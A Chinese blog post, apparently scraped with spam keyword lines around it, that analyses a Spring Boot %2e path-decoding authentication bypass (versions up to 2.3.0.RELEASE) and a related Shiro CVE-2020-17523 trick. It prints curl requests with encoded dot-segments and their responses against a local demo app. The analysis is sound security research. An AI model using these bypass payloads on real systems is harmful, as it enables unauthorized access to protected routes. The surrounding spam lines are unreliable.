国产成人精品亚洲777人妖,欧美日韩精品一区视频,最新亚洲国产,国产乱码精品一区二区亚洲

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

詳解SpringBoot中關(guān)于%2e的Trick

瀏覽:5日期:2023-03-17 18:46:10

分享一個(gè)SpringBoot中關(guān)于%2e的小Trick。先說(shuō)結(jié)論,當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認(rèn)值false,這會(huì)使得其獲取ServletPath,所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼,這可能導(dǎo)致身份驗(yàn)證繞過(guò)。而反過(guò)來(lái)由于高版本將 alwaysUseFullPath 自動(dòng)配置成了true從而開(kāi)啟全路徑,又可能導(dǎo)致一些安全問(wèn)題。

這里我們來(lái)通過(guò)一個(gè)例子看一下這個(gè)Trick,并分析它的原因。

首先我們先來(lái)設(shè)置SprinBoot版本

<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.3.0.RELEASE</version><relativePath/> <!-- lookup parent from repository --> </parent>

編寫(xiě)一個(gè)Controller

@RestControllerpublic class httpbinController { @RequestMapping(value = 'no-auth', method = RequestMethod.GET) public String noAuth() {return 'no-auth'; } @RequestMapping(value = 'auth', method = RequestMethod.GET) public String auth() {return 'auth'; }}

接下來(lái)配置對(duì)應(yīng)的Interceptor來(lái)實(shí)現(xiàn)對(duì)除no-auth以外的路由的攔截

@Configurationpublic class WebMvcConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) {registry.addInterceptor(handlerInterceptor())//配置攔截規(guī)則.addPathPatterns('/**'); } @Bean public HandlerInterceptor handlerInterceptor() {return new PermissionInterceptor(); }}

@Componentpublic class PermissionInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String uri = request.getRequestURI();uri = uri.replaceAll('//', '/');System.out.println('RequestURI: '+uri);if (uri.contains('..') || uri.contains('./') ) { return false;}if (uri.startsWith('/no-auth')){ return true;}return false; }}

由上面代碼可以知道它使用了getRequestURI來(lái)進(jìn)行路由判斷。通常你可以看到如 startsWith , contains 這樣的判斷方式,顯然這是不安全的,我們繞過(guò)方式由很多比如 .. 或 ..; 等,但其實(shí)在用 startsWith 來(lái)判斷白名單時(shí)構(gòu)造都離不開(kāi)跨目錄的符號(hào) ..那么像上述代碼這種情況又如何來(lái)繞過(guò)呢?答案就是 %2e發(fā)起請(qǐng)求如下

$ curl -v 'http://127.0.0.1:8080/no-auth/%2e%2e/auth'* Trying 127.0.0.1...* TCP_NODELAY set* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)> GET /no-auth/%2e%2e/auth HTTP/1.1> Host: 127.0.0.1:8080> User-Agent: curl/7.64.1> Accept: */*>< HTTP/1.1 200< Content-Type: text/plain;charset=UTF-8< Content-Length: 4< Date: Wed, 14 Apr 2021 13:22:03 GMT<* Connection #0 to host 127.0.0.1 left intactauth* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以看到我們通過(guò) %2e%2e 繞過(guò)了PermissionInterceptor的判斷,同時(shí)匹配路由成功,很顯然應(yīng)用在進(jìn)行路由匹配時(shí)對(duì) %2e 進(jìn)行了解碼。

我們?cè)賮?lái)切換SpringBoot版本再來(lái)看下

<version>2.3.1.RELEASE</version>

發(fā)起請(qǐng)求,當(dāng)然也是過(guò)了攔截,但沒(méi)有匹配路由成功,返回404

$ curl -v 'http://127.0.0.1:8080/no-auth/%2e%2e/auth'* Trying 127.0.0.1...* TCP_NODELAY set* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)> GET /no-auth/%2e%2e/auth HTTP/1.1> Host: 127.0.0.1:8080> User-Agent: curl/7.64.1> Accept: */*>< HTTP/1.1 404< Vary: Origin< Vary: Access-Control-Request-Method< Vary: Access-Control-Request-Headers< Content-Length: 0< Date: Wed, 14 Apr 2021 13:17:26 GMT<* Connection #0 to host 127.0.0.1 left intact* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以得出結(jié)論當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下,其在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼,這可能導(dǎo)致身份驗(yàn)證繞過(guò)。

那么又為什么會(huì)這樣?

在SpringMVC進(jìn)行路由匹配時(shí)會(huì)從DispatcherServlet開(kāi)始,然后到HandlerMapping中去獲取Handler,在這個(gè)時(shí)候就會(huì)進(jìn)行對(duì)應(yīng)path的匹配。

我們來(lái)跟進(jìn)代碼看這個(gè)關(guān)鍵的地方 org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)這里就出現(xiàn)有趣的現(xiàn)象,在2.3.0.RELEASE中 alwaysUseFullPath 為默認(rèn)值false

詳解SpringBoot中關(guān)于%2e的Trick

而在2.3.1.RELEASE中 alwaysUseFullPath 被設(shè)置成了true

詳解SpringBoot中關(guān)于%2e的Trick

這也就導(dǎo)致了不同的結(jié)果,一個(gè)走向了 getPathWithinApplication 而另一個(gè)走向了 getPathWithinServletMapping在 getPathWithinServletMapping 中會(huì)獲取ServletPath,ServletPath會(huì)對(duì)其解碼,這個(gè)很多講Tomcat url差異的文章都提過(guò)了,就不多說(shuō)了。所以解釋了最終出現(xiàn)繞過(guò)的情況。

那么Trick的具體描述就成了當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認(rèn)值false,這會(huì)使得其獲取ServletPath,所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼,這可能導(dǎo)致身份驗(yàn)證繞過(guò)。

而這和Shiro的CVE-2020-17523中的一個(gè)姿勢(shì)形成了呼應(yīng),只要高版本SpringBoot就可以了不用非要手動(dòng)設(shè)置 alwaysUseFullPath

$ curl -v http://127.0.0.1:8080/admin/%2e* Trying 127.0.0.1...* TCP_NODELAY set* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)> GET /admin/%2e HTTP/1.1> Host: 127.0.0.1:8080> User-Agent: curl/7.64.1> Accept: */*>< HTTP/1.1 200< Content-Type: text/plain;charset=UTF-8< Content-Length: 10< Date: Wed, 14 Apr 2021 13:48:33 GMT<* Connection #0 to host 127.0.0.1 left intactadmin page* Closing connection 0

感興趣的可以再看看說(shuō)不定有額外收獲

話(huà)說(shuō)回來(lái),可是為什么在高版本中 alwaysUseFullPath 會(huì)被設(shè)置成true呢?

這就要追溯到 org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch在spring-boot-autoconfigure-2.3.0.RELEASE中

詳解SpringBoot中關(guān)于%2e的Trick

在spring-boot-autoconfigure-2.3.1.RELEASE中

詳解SpringBoot中關(guān)于%2e的Trick

為什么要這樣設(shè)置?我們查看git log這里給出了答案。

詳解SpringBoot中關(guān)于%2e的Trick

https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af

當(dāng)Servlet映射為”/”時(shí),官方認(rèn)為這樣配置是更有效率的,因?yàn)樾枰?qǐng)求路徑的處理較少。

配置servlet.path可以通過(guò)如下,但通常不會(huì)這樣配置除非有特殊需求。

spring.mvc.servlet.path=/test/

所以最后,當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認(rèn)值false,這會(huì)使得其獲取ServletPath,所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼,這可能導(dǎo)致身份驗(yàn)證繞過(guò)。而高版本為了提高效率對(duì) alwaysUseFullPath 自動(dòng)配置成了true從而開(kāi)啟全路徑,這又造就了Shiro的CVE-2020-17523中的一個(gè)利用姿勢(shì)。

到此這篇關(guān)于詳解SpringBoot中關(guān)于%2e的Trick的文章就介紹到這了,更多相關(guān)SpringBoot Trick內(nèi)容請(qǐng)搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)!

標(biāo)簽: Spring
相關(guān)文章:
主站蜘蛛池模板: 东方市| 三台县| 景宁| 石门县| 固镇县| 陆川县| 乌拉特前旗| 宕昌县| 元阳县| 青河县| 龙门县| 阳西县| 上杭县| 古交市| 潞西市| 南昌市| 中山市| 定兴县| 龙南县| 六盘水市| 武宁县| 鹰潭市| 嘉黎县| 龙井市| 南部县| 邮箱| 临漳县| 崇信县| 鹤庆县| 会东县| 建阳市| 沁水县| 兴宁市| 怀远县| 谢通门县| 九台市| 祥云县| 林周县| 西乌| 武邑县| 无为县|